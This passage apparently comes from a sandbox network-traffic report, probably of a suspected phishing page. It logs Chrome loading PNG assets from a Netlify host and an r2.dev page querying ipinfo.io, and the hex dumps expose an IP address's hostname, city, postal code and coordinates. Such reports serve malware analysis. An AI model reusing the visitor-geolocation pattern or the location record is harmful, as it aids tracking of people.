2025-03-13 09:07:56 UTC	538	IN	Data Raw: 75 bc dc db 3f c0 21 2b dc cd 5a 74 ef 96 a8 79 f9 cc aa 58 77 2c 88 72 db 42 ec 84 ce cd 60 ff 50 1f 3e 4e 79 c0 8e f7 c0 5a 02 07 f1 b5 12 6b 79 82 36 79 c2 17 80 e0 fb 56 97 f5 f5 81 85 ef bb c7 cb 62 d3 3f b3 6f 5b 29 c7 57 15 33 2b 56 0c ae 67 f7 7f 03 62 ba b8 76 5b f6 f7 3d bd 60 ff 97 7e 90 1d e3 cf 3a 30 ba 1e f7 d5 f1 da 88 02 c1 41 7c ad c4 8a 87 5a 50 d7 70 94 c2 38 dd 71 99 65 09 cd 21 79 62 00 ac ee ef 0d 71 e1 f4 7d 72 16 e8 98 8e fe b6 50 a8 40 2e 33 2b d6 d2 82 6c 97 4c b9 c6 74 6a 06 ab fa 79 c3 a5 af 03 a0 94 55 d2 43 56 59 0d 62 9a 15 08 25 f1 f6 f7 f8 2d 81 83 f8 c6 a2 73 14 1c b3 a5 ae e1 28 78 7a 8c fe e2 f0 8a 19 fe fc df 77 a3 fd e1 8f 2f 7c e1 db 1e ce f7 ba b1 ef 05 c1 fe 65 73 84 0a e4 32 8b 61 40 56 ca 39 b2 40 6a 99 d7 dd 0b Data Ascii: u?!+ZtyXw,rB`P>NyZky6yVb?o[)W3+Vgbv[=`~:0A\|ZPp8qe!ybq}rP@.3+lLtjyUCVYb%-s(xzw/\|es2a@V9@j
2025-03-13 09:07:56 UTC	4744	IN	Data Raw: 57 24 f9 f3 fb 9f 3e 2d 00 36 7d e2 c3 cf ff a2 ea 4b 01 fb 26 f7 ef a4 8b 9a 96 d7 6c 16 2b da 8a 69 83 0c c6 5c 13 bb 34 83 0d 03 bd e1 c6 d4 40 fe 64 57 68 e1 b1 9c d8 fc 2b 60 65 52 d7 b6 07 14 ab b9 85 d7 5a 61 4b 38 60 0d f4 ba 95 ac 15 c8 8f f5 87 a3 23 fd e0 c7 5e 86 c2 c5 de ff cd 73 f2 be 51 5c df ec 12 eb d3 ba 27 b0 78 68 47 38 3c dc 0f f2 58 e1 b1 79 c7 9b 41 dd 24 87 c0 e6 7f ba 73 05 80 e0 60 3e 79 7d 3b 40 b1 5a 5a 78 ad 05 98 3e 75 6d 35 60 27 ad 3c b1 39 5c 9b 1c 00 1b 07 05 c0 f9 3d eb 45 ed ca 6f 76 89 15 ad fc e4 52 e6 fd 34 14 68 03 d8 fc 6b 37 9e 6a 09 1c cc a7 f3 60 3b d8 02 60 6c 49 a5 af 25 b8 4a cc d1 70 c0 1a 0f e7 b6 12 b5 ea 19 66 b7 58 1f af 1b 48 16 5c 2d ae 68 fe 15 b4 5a 80 6d cb c2 6b 2d d0 22 1c 20 99 17 0a cf ef 5f 17 Data Ascii: W$>-6}K&l+i\4@dWh+`eRZaK8`#^sQ\'xhG8<XyA$s`>y};@ZZx>um5`'<9\=EovR4hk7j`;`lI%JpfXH\-hZmk-" _
2025-03-13 09:07:56 UTC	13	IN	Data Raw: 36 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 6IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.12	49728	3.125.36.175	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:56 UTC	402	OUT	GET /mgs/eyeslash.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:56 UTC	420	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 49031 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 891 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:56 GMT Etag: "3b2dc72c3ac4bd3b3de6ea834107239e-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C5A1A098EJ3BTCQ3JC21W Connection: close
2025-03-13 09:07:56 UTC	766	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 23 00 00 00 1c 08 06 00 00 00 eb f5 06 21 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 03 10 49 44 41 54 58 47 ed 96 db 4b 54 51 14 c6 fb 63 82 48 0a bb 78 6b ba d9 c5 2c 8c c2 32 2f 0d 56 f4 10 a6 99 f4 14 96 97 a2 24 c2 4c cb 20 b4 31 c3 8a 24 53 1b 83 34 e8 a2 a3 8e 16 35 2a 8a a3 63 62 0f 42 33 a3 cc eb 8c 8c b0 3a df 9a bd 0f 33 cc 1c e7 68 24 3d f8 83 83 9e ef ac d9 fb 3b 7b af b5 f6 59 47 ff 11 6b 66 b4 58 33 a3 45 88 19 4b 6f 1f 7d fc f4 59 dc ad 3e 21 66 8c b9 67 69 fd 86 18 aa aa ae 11 ca ea 12 62 c6 6a 1d a0 e4 03 29 6c e8 cc b9 f3 42 8d cc cf e9 69 72 4c 4d 91 cf e7 13 ca df 13 Data Ascii: PNGIHDR#!sRGBgAMAapHYsodIDATXGKTQcHxk,2/V$L 1$S45*cbB3:3h$=;{YGkfX3EKo}Y>!fgibj)lBirLM
2025-03-13 09:07:56 UTC	125	IN	Data Raw: fe 35 0f 6b 59 d3 4b 54 33 12 1c 82 30 80 43 51 4e 86 0b 87 26 0e 4f 1c a2 38 4c 41 77 8f 85 0e 1d 4e e3 e7 30 eb f1 78 58 8f 86 6e 33 c1 e0 b3 01 9f 0f f8 8c d0 02 15 04 23 30 b4 ef 60 2a 59 07 06 c5 13 6d 56 64 66 39 54 dd af 61 43 f8 70 8b c6 3f 37 03 de 9a 3b e8 41 ed 23 71 a7 cd aa 98 d1 cb 9a 99 c8 10 fd 01 1e 2c f2 87 54 df ab 6d 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 5kYKT30CQN&O8LAwN0xXn3#0`*YmVdf9TaCp?7;A#q,TmIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.12	49729	3.125.36.175	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:56 UTC	398	OUT	GET /mgs/prog.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:56 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 49031 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 2833 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:56 GMT Etag: "a7c51b41fd84a8109554aae7fef739ec-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C5A50YE86EBFF5YYGW7XG Connection: close
2025-03-13 09:07:56 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b9 00 00 00 56 08 06 00 00 00 52 31 e8 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 0a a6 49 44 41 54 78 5e ed dd cb 6e dc d6 1d c7 f1 02 41 1f a0 40 9f a4 7d 91 16 f6 ca ab 1a ed 33 b4 90 81 b8 2b ad bc e9 42 f0 46 80 d1 02 86 13 a4 4b 2d ac 85 ba f5 05 50 91 42 83 14 51 9a 1a 55 5d 5b 96 2c 27 f2 a5 4e 04 bb 39 e5 ef 90 7f ce e1 19 ce 78 78 d1 0c e7 e8 fb 01 88 cc f0 72 0e 2f ca f9 99 e4 21 e7 47 0e 00 80 44 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 11 72 00 80 64 Data Ascii: PNGIHDRVR1sRGBgAMAapHYsodIDATx^nA@}3+BFK-PBQU][,'N9xxr/!GDrdrdrdrdrdrdrdrdrdrdrdrd
2025-03-13 09:07:56 UTC	2068	IN	Data Raw: a8 ae d4 ce e6 08 b9 05 d2 eb b7 14 36 1a 9a 3c 07 d7 95 ea b2 7a 79 05 18 30 7c 7a fd 96 c2 46 c3 22 ce e2 8c ea b2 7a 53 79 05 18 21 b7 40 7a cf a4 82 46 6f 29 69 ea 70 27 bf e4 f8 d1 8d 7d d7 e6 df 58 f6 66 14 ad 03 80 61 b3 1e 95 6d ce a8 8e b6 af b9 4b 57 ae e6 c3 f5 2d d7 f4 6e 9e 9d 41 a6 d2 d3 92 90 5b 20 bd 50 59 41 a3 d7 71 35 73 e2 ee 8f 4e 9c 1b 8d 5a 87 9c ea 54 dd 5a 07 00 c3 a6 17 2a 2b 68 1a f7 a8 dc db c8 c2 6d c3 ed 15 5f 7d e0 dd da 2d be cd c7 7a 5a 6a 1d 52 40 c8 2d 90 7e 39 40 41 a3 f7 4e b6 d2 21 e4 54 a7 ea d6 3a 00 18 36 fd 72 80 82 46 ef 9d 6c 62 ef d6 55 b7 b6 fd b4 f8 96 39 de 72 6b 0d cf e6 54 a7 ea d6 3a a4 80 90 5b 20 fd 44 8e 82 a6 f5 fd b8 0e 21 67 f7 e5 b4 0e af de bc 65 60 60 18 f0 60 3f 97 d3 f9 7e 9c ce ec 1a 9e c9 d9 Data Ascii: 6<zy0\|zF"zSy!@zFo)ip'}XfamKW-nA[ PYAq5sNZTZ*+hm_}-zZjR@-~9@AN!T:6rFlbU9rkT:[ D!ge```?~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.12	49731	3.125.36.175	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:56 UTC	398	OUT	GET /mgs/icon.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:56 UTC	419	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6424 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 576 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:56 GMT Etag: "b5fa37ee0569700b0d1006b7e01c45c8-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C5A4WMKGREDG9AYZGYEXW Connection: close
2025-03-13 09:07:56 UTC	576	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1d 00 00 00 1a 08 06 00 00 00 4b 96 57 b7 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 01 d5 49 44 41 54 48 4b ed 95 4b 28 44 61 18 86 95 8d b2 62 41 59 d9 c9 ce ca ca 46 51 62 61 ad 64 61 61 c3 c2 42 6a 52 13 c9 42 83 24 0a b9 45 22 44 49 62 85 d4 34 c6 8c fb 65 86 99 cc 0c cd 60 32 23 cd b8 cc e6 e3 1b fd 75 9a f3 9e cb c8 65 63 f1 6c ce ff 9d e7 a9 ff fc e7 9c 14 ff 53 8c 7e 9b ff e8 8f 92 54 74 df 1f a5 09 5b 90 ba b6 02 64 58 f5 51 bf f9 8e 36 5c 4f 70 56 0d 5d 51 8e 35 ad f8 28 a7 7d 8f 52 9b 77 64 64 b5 da a9 62 cc 41 66 6f 04 de 9f 88 66 74 e5 2c 4c 79 9d 07 30 86 18 b3 06 a1 47 8a Data Ascii: PNGIHDRKWsRGBgAMAapHYsodIDATHKK(DabAYFQbadaaBjRB$E"DIb4e`2#ueclS~Tt[dXQ6\OpV]Q5(}RwddbAfoft,Ly0G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.12	49733	34.117.59.81	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:56 UTC	604	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://pub-160645733abe48e1a173755d32058a26.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-160645733abe48e1a173755d32058a26.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:56 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 325 content-type: application/json; charset=utf-8 date: Thu, 13 Mar 2025 09:07:56 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-13 09:07:56 UTC	325	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 37 36 2e 31 30 37 2e 35 33 2e 31 34 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 63 2d 37 36 2d 31 30 37 2d 35 33 2d 31 34 33 2e 68 73 64 31 2e 6c 61 2e 63 6f 6d 63 61 73 74 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4d 6f 6e 72 6f 65 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4c 6f 75 69 73 69 61 6e 61 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 33 32 2e 35 30 39 33 2c 2d 39 32 2e 31 31 39 33 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 37 39 32 32 20 43 6f 6d 63 61 73 74 20 43 61 62 6c 65 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 73 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 37 31 32 30 37 22 2c 0a 20 20 22 74 69 6d 65 7a Data Ascii: { "ip": "76.107.53.143", "hostname": "c-76-107-53-143.hsd1.la.comcast.net", "city": "Monroe", "region": "Louisiana", "country": "US", "loc": "32.5093,-92.1193", "org": "AS7922 Comcast Cable Communications, LLC", "postal": "71207", "timez

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.12	49730	3.125.36.175	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:56 UTC	398	OUT	GET /mgs/main.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:57 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 20197 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 5335 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:56 GMT Etag: "6d578b34826b9d260c17071c996c2506-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C5A7RCDW9FES71NN7679M Connection: close
2025-03-13 09:07:57 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 06 00 00 00 61 08 03 00 00 00 9a 8f 99 59 00 00 01 44 50 4c 54 45 ff ff ff 15 15 15 f5 84 1f 76 3d 1a e1 76 24 00 00 00 cc 61 28 12 12 12 c0 ac 9d ea ea ea d4 be b1 6f 6f 6f 10 10 10 1f 1f 1f 0a 0a 0a df df df d5 d5 d5 66 66 66 8c 8c 8c 9d 9d 9d be be be 2c 2c 2c c5 c5 c5 f9 f9 f9 f5 80 10 f8 ae 7c 81 81 81 76 76 76 f0 80 20 71 3a 1a 05 05 05 ec ec ec 49 49 49 82 75 6b 00 03 15 71 33 00 af af af 3f 3f 3f d5 69 26 a5 a5 a5 36 36 36 e8 7b 22 51 51 51 97 97 97 c1 c1 c1 5a 5a 5a e0 72 1a 6a 6a 6a 31 31 31 dc 71 25 df 6d 00 6a 25 00 85 45 1b 73 38 10 1f 33 46 ff 88 1c f9 e3 d5 f5 d6 c3 94 4d 1c c6 68 21 e5 8c 4e fb ee e5 f1 c1 a1 bd a6 9a a8 58 1e 0c 30 47 ec af 87 db 98 6c d5 bb aa de d4 cc e2 7c 31 89 Data Ascii: PNGIHDRaYDPLTEv=v$a(ooofff,,,\|vvv q:IIIukq3???i&666{"QQQZZZrjjj111q%mj%Es83FMh!NX0Gl\|1
2025-03-13 09:07:57 UTC	2372	IN	Data Raw: 42 e1 15 ae 84 f6 d3 5d a6 38 06 06 c2 e0 87 1b b8 7e 50 18 70 9c d7 1a 04 85 57 18 7b 69 3e 81 71 b0 d7 57 ba b6 b5 88 ab a7 94 1c 6a 0e a1 f0 0a 57 40 0f 41 0c 52 8e c1 71 26 70 29 e5 ce 40 08 0a af 30 ee fa 06 ee 36 02 c2 6b c5 1c a0 14 b4 6c 0e 81 79 85 ef f3 6e 68 21 93 9e 63 18 a8 8e a1 87 62 20 f9 04 20 36 8c 31 f8 36 ef 86 16 32 e9 05 14 22 0a 10 ce 92 3e ce e0 13 30 87 10 69 f5 45 de 0d 2d 64 d2 f4 2a de 77 b2 63 c0 bc 42 ec 13 c4 74 22 82 c1 74 de 0d 2d 64 12 3c 52 88 39 d8 13 91 22 e6 15 32 38 84 48 c5 48 61 bc 15 18 31 20 3a 33 7a 05 61 0c 1e 19 21 20 1a 75 c6 b2 d0 ff 47 cf 0d c1 01 35 08 3c b7 0c 7b 85 5e 06 87 30 59 44 88 e3 2f 3d 99 9c e6 80 3b 06 dc 27 58 1c c2 64 91 36 18 7f 19 63 44 ae 33 cc 1c b4 32 39 84 22 42 1c 7f 99 63 44 6e 10 22 Data Ascii: B]8~PpW{i>qWjW@ARq&p)@06klynh!cb 6162">0iE-d*wcBt"t-d<R9"28HHa1 :3za! uG5<{^0YD/=;'Xd6cD329"BcDn"
2025-03-13 09:07:57 UTC	538	IN	Data Raw: b9 b5 8c 41 49 2c 8c a0 03 a8 0c 79 03 6b c3 74 65 c1 80 8f 10 37 6a 5c d5 79 63 f7 c8 18 88 e1 0e 63 c8 82 41 87 7a 41 7f a7 2a 6e d4 94 c7 8f 46 d5 e6 5c e1 7e 2a 88 3d e0 79 83 a5 db 62 c4 68 e5 40 f7 09 eb d7 54 ad 47 52 fb b8 4f 7f 4b 95 d3 30 b0 79 05 05 03 3e de 62 0f 34 bf f4 51 bc 74 a8 c2 24 ec 2f 72 92 82 01 1f ee b0 ae b1 60 50 4f dd a7 c2 17 2e d8 37 2f 45 27 6f 89 55 d6 6c 89 83 26 91 45 8c 73 c9 9e 8d 03 cd 27 4c b4 d2 fd 4b 59 50 8a 00 05 ae ad 6b 3b dc 6c 5e 41 c1 80 19 45 7f 85 76 6f 7e 18 f0 9d 26 95 58 ec 71 63 4b 90 14 0c c4 3c 20 ad 9a 05 83 38 16 4a dd 08 cf 27 2b 5a 68 88 10 09 4c 69 c4 73 0a d9 66 96 88 4f f8 51 33 e5 13 0e c0 81 8a 01 54 00 da f6 6c 6e 8b 82 41 c0 fa 88 e5 d1 72 c3 a0 56 91 83 2b 49 c8 fd 14 0c d8 ea 11 fe 42 5b Data Ascii: AI,ykte7j\yccAzAnF\~=ybh@TGROK0y>b4Qt$/r`PO.7/E'oUl&Es'LKYPk;l^AEvo~&XqcK< 8J'+ZhLisfOQ3TlnArV+IB[
2025-03-13 09:07:57 UTC	1660	IN	Data Raw: 5d bc 74 03 c6 a0 25 38 78 ff bc 7b 72 f7 7d da f5 d3 e0 e1 d7 93 93 ee f3 f7 9c 02 c4 18 2c fe 81 dc 57 6e c7 18 61 b0 01 cd 20 98 f2 c9 23 62 50 67 8b 53 52 3d 5e c6 36 2f dd 64 d6 22 35 39 50 f7 d9 7e 15 2b 06 24 e2 11 1c c0 e3 90 00 f4 09 cc 1c 90 ae 7e ff ee f7 93 bb 77 ef fe 73 1d c0 60 fd 37 72 e4 e4 f7 77 ef 29 05 e8 87 95 c1 db c6 0f 63 dc 30 e0 fb 53 d4 6b b3 4c 0f bc b7 6c 44 0c 36 d4 89 0b 2e be 7b 45 ef aa 25 37 1a 51 a6 6b c0 1e 1f b8 13 5a df b5 c4 39 58 01 39 f8 05 36 06 cc 1c 4c f4 3e fc 76 f7 84 70 70 f2 fe 5a 3f 85 41 ff da af 11 05 27 77 57 3e f4 26 50 63 40 cc 81 e9 ef f4 8c 1d 06 7c 05 59 7a 28 6e 58 3e 3e 22 06 3b e0 6e 35 74 01 2c 4b 32 44 4b e6 65 5d e7 99 16 e0 fa f8 1e c6 15 e8 b9 21 3e 81 99 83 56 34 5f 7c 46 0c c2 c9 bb 6b 4e Data Ascii: ]t%8x{r},Wna #bPgSR=^6/d"59P~+$~ws`7rw)c0SkLlD6.{E%7QkZ9X96L>vppZ?A'wW>&Pc@\|Yz(nX>>";n5t,K2DKe]!>V4_\|FkN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.12	49732	3.125.36.175	443	4832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:07:56 UTC	398	OUT	GET /mgs/tad1.png HTTP/1.1 Host: polynethub.netlify.app Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:07:57 UTC	421	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 45605 Cache-Control: public,max-age=0,must-revalidate Cache-Status: "Netlify Edge"; hit Content-Length: 6472 Content-Type: image/png Date: Thu, 13 Mar 2025 09:07:57 GMT Etag: "f4e7fa70f231495f66f18ec5cf5dac24-ssl" Server: Netlify Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Nf-Request-Id: 01JP7C5AG1T36XYF1PF78FBNTF Connection: close
2025-03-13 09:07:57 UTC	765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 33 00 00 00 33 08 06 00 00 00 3a a1 30 2a 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 18 dd 49 44 41 54 78 01 cd 5a 09 74 5b e5 95 be 6f 7f 7a 4f fb 2e 5b de 62 3b de b2 c7 59 49 88 29 24 69 3a a4 ac 01 0a 94 29 2d 2d ed 9c 96 29 73 e8 32 4b 8b 3b d3 2d 53 86 b6 74 80 12 4a a1 50 ca 12 4a 1a a0 93 90 06 e2 10 12 87 d8 89 9d cd b1 1d 3b 56 2c db b2 2d 5b fb f2 a4 b7 cd 95 12 32 09 0d 90 cc f4 f4 cc cd 79 47 b1 de d3 ff ff df ff df fb dd ef 5e 89 80 f3 ad b5 95 b4 bf b7 d8 18 99 0c 2a 70 f0 de 0c 5c 82 3d 01 0b 99 d2 19 ce 35 65 9c c9 34 35 1d dd 75 f5 e4 5b 13 f0 57 b2 1f 38 17 fa 8c 82 b9 Data Ascii: PNGIHDR33:0pHYssRGBgAMAaIDATxZt[ozO.[b;YI)$i:)--)s2K;-StJPJ;V,-[2yG^p\=5e45u[W8
2025-03-13 09:07:57 UTC	2372	IN	Data Raw: fd 80 65 e3 bf 51 7a be 37 33 3e f9 43 b8 0c 0b 65 93 3f 3f 99 1a 2f 4f 67 c7 8e 6e 3b d0 fe 1f 17 7b 86 8b 25 92 e4 d0 29 9d a0 59 d2 c1 b0 2c 1d 0f ed 3f 62 b5 d6 1f e4 3d 35 eb 08 93 f9 39 45 c9 86 79 d5 39 4d 00 19 9c 31 67 e4 ed 49 ee f1 3f 26 f7 7d 25 dc be b5 ba 3a a7 aa 35 e1 70 bc fd 96 7b a3 71 9f 2f c9 8a 16 67 95 12 8f 11 ac 2c 8b 34 c7 7b 2a 28 97 7a 2c 3b f5 f3 d9 92 fb 0a 87 d5 5d 7b 15 15 e0 5e de f2 e3 cf 59 ca e7 a6 7b 5e ff c2 18 5c 86 fd b1 e7 cd 93 21 2d f7 65 2f 0f b1 b9 31 ab b4 d5 d4 5c c7 e7 74 82 ca 53 e1 77 41 88 97 39 43 86 1a 8d 6f d1 27 a2 42 9e e5 92 c7 c3 c1 69 7a aa eb df 43 94 a5 ee 5f 28 42 4d b0 e6 b2 9b 49 5a f4 c8 aa 0a 52 2e a5 53 9a b0 c4 53 d6 3c be f5 b1 ea 63 cb e6 99 1f 16 cd c4 bc 9d 7f 54 37 02 44 1f bd 37 74 Data Ascii: eQz73>Ce??/Ogn;{%)Y,?b=59Ey9M1gI?&}%:5p{q/g,4{*(z,;]{^Y{^\!-e/1\tSwA9Co'BizC_(BMIZR.SS<cT7D7t
2025-03-13 09:07:57 UTC	538	IN	Data Raw: 0c 34 c1 98 d0 75 0d 8c 2e b3 58 d9 51 ba 32 a1 e6 e4 b4 9a cf c6 b2 59 69 54 ca 24 47 72 b9 54 84 20 e8 28 ce 95 56 88 5c 22 11 4b ed fb 48 30 57 d4 81 b1 be dc b6 c6 53 25 99 33 b9 a3 10 1f 5d 82 0e 83 54 3c 64 87 d3 86 2b a0 7e 71 02 0c 54 ff 99 d8 41 14 64 11 10 96 75 45 9f 23 90 b6 01 cc 22 9e 4a 3e 07 d1 48 12 d0 dd 81 37 60 a1 82 2e 77 7a aa 16 b6 f6 5d 0f 9d e3 4b 61 22 63 23 18 82 70 32 48 24 94 24 c9 1c ab 05 99 9c 3c 92 4c 4f 0f c6 26 87 3a e2 f1 48 57 4e 93 c2 91 5c 3c ea cf 46 a2 6d 6d ad ca c5 d6 7b 01 98 cf 7a e6 88 b7 97 cd 5c 94 4f a6 42 d7 f5 6d ef ab 2a 15 6a cb fd e6 79 04 47 53 0e 5f 27 44 02 4e 88 8d 54 16 c5 e5 e4 09 3f 08 fc d5 50 b7 24 83 bb 7f ba 98 24 09 04 54 08 0b 12 51 91 c5 d3 22 20 87 c2 40 34 08 c8 6a 79 48 27 63 70 62 6c Data Ascii: 4u.XQ2YiT$GrT (V\"KH0WS%3]T<d+~qTAduE#"J>H7`.wz]Ka"c#p2H$$<LO&:HWN\<Fmm{z\OBm*jyGS_'DNT?P$$TQ" @4jyH'cpbl
2025-03-13 09:07:57 UTC	2797	IN	Data Raw: b1 8c cf c8 ce 76 f0 9a 6c cc a6 db 7b c2 a0 5e 36 98 eb ca 0d ba 5d 37 09 64 2e 5f 36 10 0f 87 d8 fa d3 cf d4 cd 71 dc 23 d9 8d 8e 82 64 21 30 49 16 b2 bd cd 31 82 65 8f 11 e4 29 0f c8 04 87 1b 4f 40 32 e4 06 55 f5 82 bd 2a 8d 6c 33 85 83 12 45 30 34 52 0e 83 14 c4 20 18 9a 2f 34 80 70 3a 4c f0 ee 99 1c 2c 2c 3b 0a 55 ca 3b c0 b3 b8 29 79 01 40 a6 8a a7 a8 67 14 48 63 49 51 ea 64 1b 05 2b 3b b9 65 5f f2 18 fc 59 fe f9 18 30 6f 84 42 1a e3 a4 7b bd 59 ba 63 20 1e db 6e 5e a9 cd f1 d4 da 3f 93 62 18 52 cd cb 40 a1 5f a3 16 06 8e d2 c0 e7 1d 04 49 15 21 36 8d f1 53 70 2b fc 97 9a 74 81 94 29 07 6f 1d 92 02 33 5d a4 4c 86 a3 b1 d8 a4 b1 04 41 20 48 